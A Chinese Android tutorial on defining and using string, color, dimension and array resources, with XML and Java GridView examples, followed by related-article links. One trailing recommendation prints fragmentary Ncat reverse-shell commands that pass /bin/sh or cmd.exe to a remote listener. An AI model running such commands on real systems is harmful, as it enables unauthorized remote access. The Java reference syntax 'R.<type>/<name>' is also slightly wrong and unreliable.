字符串、颜色、尺寸资源文件
这三种文件位于res文件夹的values文件夹中,名称分别为strings.xml , colors.xml , dimens.xml
下面是例子,首先来看字符串资源文件strings.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">My Application123</string>
<string name="c1">F00</string>
<string name="c2">0F0</string>
<string name="c3">00F</string>
......
</resources>

然后是颜色资源文件colors.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="colorPrimary">#3F51B5</color>
<color name="colorPrimaryDark">#303F9F</color>
<color name="colorAccent">#FF4081</color>
<color name="c1">#F00</color>
<color name="c2">#0F0</color>
<color name="c3">#00F</color>
......
</resources>

以及尺寸资源文件dimens.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
<dimen name="spacing">8dp</dimen>
<dimen name="cell_width">60dp</dimen>
<dimen name="cell_hight">66dp</dimen>
<dimen name="title_font_size">18sp</dimen>
</resources>

从这几个文件可以观察到这些资源文件里定义资源的格式类似,name就是该资源的变量名称,中间就是元素的值
<>符号中间就是资源文件类型。

创建好资源文件后就可以使用这些资源了

<TextView
android:id="@+id/text01"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/c1"
android:textColor="@color/c1"
android:textSize="@dimen/title_font_size"
/>

从这个例子中可以看到该TextView的内容,字体颜色,字体大小都是使用资源文件而不是直接定义

最后显示出来一个写着F00,字体颜色为红色,字体大小为18sp的TextView

接下来是数组资源,Android并不推荐在Java代码中定义数组,因为Android允许通过资源文件定义数组资源
来看一个例子

<?xml version="1.0" encoding="utf-8"?>
<resources>
<array name="plain_arr">
<item>@color/c1</item> //该数组里的值引用了color.xml
<item>@color/c2</item>
<item>@color/c3</item>
........
</array>
<string-array name="string_arr">
<item>@string/c1</item> //该数组里的值引用了string.xml
<item>@string/c2</item>
<item>@string/c3</item>
........
</string-array>
</resources>

然后布局文件中创建一个GridView

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:layout_gravity="center_horizontal"
>
<GridView
android:id="@+id/grid01"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:numColumns="3"/>
</LinearLayout>

然后在Java代码中引用资源

public class MainActivity extends AppCompatActivity {
String[] texts;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//通过这种方式让texts数组得到值
texts = getResources().getStringArray(R.array.string_arr);
BaseAdapter ba = new BaseAdapter() {
@Override
public int getCount() {
return texts.length;
} @Override
public Object getItem(int position) {
return texts[position];
} @Override
public long getItemId(int position) {
return position;
} @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN)
@Override
public View getView(int position, View convertView, ViewGroup parent) {
TextView text = new TextView(MainActivity.this);
Resources res = MainActivity.this.getResources();
//通过这种方式设置宽和高
text.setWidth((int) res.getDimension(R.dimen.cell_width));
text.setHeight((int) res.getDimension(R.dimen.cell_hight));
text.setText(texts[position]);
//使用数组资源
TypedArray icons = res.obtainTypedArray(R.array.plain_arr);
//设置背景颜色
text.setBackground(icons.getDrawable(position));
text.setTextSize(20);
return text;
}
};
GridView grid = (GridView) findViewById(R.id.grid01);
grid.setAdapter(ba);
}
}

综上可以看出在XML中使用资源语法格式为:@[<package_name>:]<resource_type>/<resource_name>
而在Java代码中使用资源的格式为:<package_name>.R.<resource_type>/<resource_name>

Android字符串,颜色,尺寸资源的使用的更多相关文章

  1. 【Android 应用开发】Android资源文件 - 使用资源存储字符串 颜色 尺寸 整型 布尔值 数组

    . 作者 : 万境绝尘 转载请注明出处 : http://blog.csdn.net/shulianghan/article/details/19913755 . 一. Android资源文件简介 1 ...

  2. Android资源文件 - 使用资源存储字符串 颜色 尺寸 整型 布尔值 数组

    一. Android资源文件简介 1. Android应用资源的作用 (1) Android项目中文件分类 在Android工程中, 文件主要分为下面几类 : 界面布局文件, Java src源文件, ...

  3. Android学习笔记尺寸资源

    尺寸资源语法 dp:设备独立资源像素 会根据设备匹配大小 一般用于设置边距和组件大小 sp : 可伸缩像素 根据用户手机字体大小首选项进行缩放 使用尺寸资源 定义尺寸资源 dimens <?xm ...

  4. Android:dimen尺寸资源文件的使用(转)

    为了适配不同的分辨率. dimen.xml在values文件夹下面 <resources> <!-- Default screen margins, per the Android ...

  5. Android:dimen尺寸资源文件的使用

    dimen.xml在values文件夹下面 <resources> <!-- Default screen margins, per the Android Design guide ...

  6. Android使用应用程序资源(、颜色数组、尺寸、弦、布尔、整型)

    一.Android资源分类详细解释   1.Android资源类别 Android中的资源分为两大类 : 可直接訪问的资源, 无法直接訪问的原生资源; -- 直接訪问资源 : 这些资源能够使用 R. ...

  7. <Android>资源的访问,颜色、字符串、尺寸、XML、DRAWABLES资源分使用

    1.资源的访问 代码中使用Context的getResources()方法得到Resources对象,访问自己定义的资源R.资源文件类型.资源文件名称,访问系统定义的资源android.R. 资源文件 ...

  8. Android开发---如何操作资源目录中的资源文件3--圆角边框、背景颜色渐变效果、边框颜色

    Android开发---如何操作资源目录中的资源文件3 效果图 1.圆角边框 2.背景颜色渐变效果 1.activity_main.xml 描述: 定义了一个shape资源管理按钮 <?xml ...

  9. Android字符串及字符串资源的格式化

    为什么要写这一篇随笔呢?最近做项目的过程中,遇到很多页面在要显示文本时,有一部分是固定的文本,有一部分是动态获取的,并且格式各式各样.一开始采取比较笨的办法,把他拆分成一个个文本控件,然后对不同的控件 ...

随机推荐

  1. Ubuntu18.04 LTS 安装部署golang最新版本1.10

    1 步骤 //1 直接安装golang-go 目前最新版本是1.10 sudo apt-get install golang-go //2 向/etc/profile追加以下代码 sudo vim / ...

  2. css clip-path的polygon属性绘制多边形

    通过设置多个点的坐标位置来绘制图形的形状 .box{ clip-path:polygon(x1 y1, x2 y2, x3 y3, , , , , ,) backgroud-color:red; }

  3. RGB与HSB之间转换

    先来了解一些概念: 1.RGB是一种加色模型,就是将不同比例的Red/Green/Blue混合在一起得到新颜色.通常RGB颜色模型表示为: 2.HSB(HSV) 通过色相/饱和度/亮度三要素来表达颜色 ...

  4. Jmeter性能测试之基础知识(一)

    1. 官网下载Jmeter: 点这里, 下载完成解压即可 2. 启动: 进入解压后的bin目录, Windows点击jmeter.bat, Linux执行jmeter 3. 添加线程组(user) : ...

  5. C# .Net 中字典Dictionary<TKey,TValue>泛型类 学习浅谈

    一.综述: Dictionary<TKey,TValue>是在 .NET Framework 2.0 版中是新增的.表示键值对的集合,Dictionary<TKey,TValue&g ...

  6. highcharts的dataLabels如何去处阴影

    问题: 在使用highcharts生成的图标中dataLabels是有阴影的,通常是影响美观,那么如何去除阴影呢? 原因:是因为highcharts将dataLabels生成的标签是tspan,里面有 ...

  7. drop、truncate和delete的区别

    TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同:二者均删除表中的全部行.但 TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源 ...

  8. CTeX入门出坑

    终于出了入门坑.大致风格可以了.赶紧记下来. \documentclass{ctexbook} \usepackage{amsmath} \usepackage{amsfonts} \usepacka ...

  9. SQL反模式学习笔记22 伪键洁癖,整理数据

    目标:整理数据,使不连续的主键Id数据记录变的连续. 反模式:填充断档的数据空缺. 1.不按照顺序分配编号 在插入新行时,通过遍历表,找到的第一个未分配的主键编号分配给新行,来代替原来自动分配的伪主键 ...

  10. 使用Ncat反弹Shell

    ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe